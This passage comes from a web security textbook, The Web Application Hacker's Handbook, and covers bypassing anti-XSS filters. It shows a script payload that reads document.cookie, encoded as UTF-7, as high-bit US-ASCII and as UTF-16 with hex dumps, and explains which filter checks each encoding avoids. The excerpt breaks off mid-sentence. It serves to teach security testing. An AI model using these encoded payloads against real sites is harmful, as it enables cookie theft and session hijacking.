The Web Application Hacker’s Handbook Discovering and Exploiting Security Flaws

Using Nonstandard Content Encoding

In some situations, you can employ a very powerful means of bypassing many

types of filter, by causing the application to accept a nonstandard encoding of

your attack payload.  

The following examples show some representations of the string

in nonstandard encodings:

UTF-7:

+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-

US-ASCII:

BC 73 63 72 69 70 74 BE 61 6C 65 72 74 28 64 6F ; ¼script¾alert(do

63 75 6D 65 6E 74 2E 63 6F 6F 6B 69 65 29 BC 2F ; cument.cookie)¼/

73 63 72 69 70 74 BE                            ; script¾

UTF-16:

FF FE 3C 00 73 00 63 00 72 00 69 00 70 00 74 00 ; ÿþ<.s.c.r.i.p.t.

3E 00 61 00 6C 00 65 00 72 00 74 00 28 00 64 00 ; >.a.l.e.r.t.(.d.

6F 00 63 00 75 00 6D 00 65 00 6E 00 74 00 2E 00 ; o.c.u.m.e.n.t...

63 00 6F 00 6F 00 6B 00 69 00 65 00 29 00 3C 00 ; c.o.o.k.i.e.).<.

2F 00 73 00 63 00 72 00 69 00 70 00 74 00 3E 00 ; /.s.c.r.i.p.t.>.

These encoded strings will bypass many common anti-XSS filters – the UTF-7

and US-ASCII encodings enable you to avoid the 

<

and 

>

characters that are

often sanitized, and the UTF-16 encoding does not contain any common black-

list expressions such as